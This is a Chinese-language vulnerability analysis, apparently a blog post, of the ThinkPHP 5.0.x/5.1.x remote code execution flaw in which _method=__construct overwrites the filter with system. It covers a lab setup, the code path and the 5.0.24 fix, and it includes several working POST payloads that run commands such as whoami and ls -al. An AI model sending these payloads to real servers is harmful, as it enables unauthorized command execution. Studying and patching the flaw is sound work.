基本信息
在Request::method()中,用户可以调用类中的任意方法,通过 __construct() 覆盖 filter 为 system,再将请求数据传入 filterValue 触发 call_user_func($filter, $value),最终执行任意系统命令。
漏洞类型:代码执行
影响版本
5.0.0 < ThinkPHP <= 5.0.23
5.1.0 <= ThinkPHP <= 5.1.31
漏洞POC
ThinkPHP = 5.0.23(开启debug)
POST /
_method=__construct&filter=system&method=get&get[]=calc
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
环境搭建
composer create-project --prefer-dist topthink/think=5.0.23 tp5-0-23
修改composer.json
{
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.23"
},
"config": {
"policy": {
"advisories": {
"block": false
}
}
}
}
执行
composer update
漏洞点
filterValue 中使用 call_user_func

参数为 $request->filter
__construct 可以覆盖自身属性

可以覆盖之前提到的 filter 属性
method 可以任意调用方法

可以通过POST传入
_method=__construct
调用 __construct 方法
漏洞分析
利用思路
传入
_method参数,触发method()覆盖filter(需要无参数或参数为false,才能进入对应分支)触发
filterValue(),调用call_user_func并控制参数进行代码执行
触发 method()
Request.php:520, think\Request->method()
Route.php:857, think\Route::check()
App.php:648, think\App::routeCheck()
App.php:116, think\App::run()



这里传入 _method=__construct ,进入 __construct 方法。
同时还要覆盖 filter ,作为执行的函数,这里使用filter=system

成功覆盖 filter
触发 filterValue()
input方法中会调用 filterValue() 方法。
当开启debug模式后,会自动调用 $request->param()

会自动获取所有参数,最后调用input


这里由于我们将filter进行了覆盖,导致无法正常解析POST数据,可以使用GET传参,参数名任意,参数值是 system 的参数
?xxx=calc
也可以通过之前的操作直接覆盖method和get
_method=__construct&filter=system&method=get&get[]=calc
对 data 数组调用 filterValue


成功执行

触发poc
_method=__construct&filter=system&method=get&get[]=calc
漏洞修复
5.0.24版本中进行修复,method中进行白名单限制,只允许特定方法调用

评论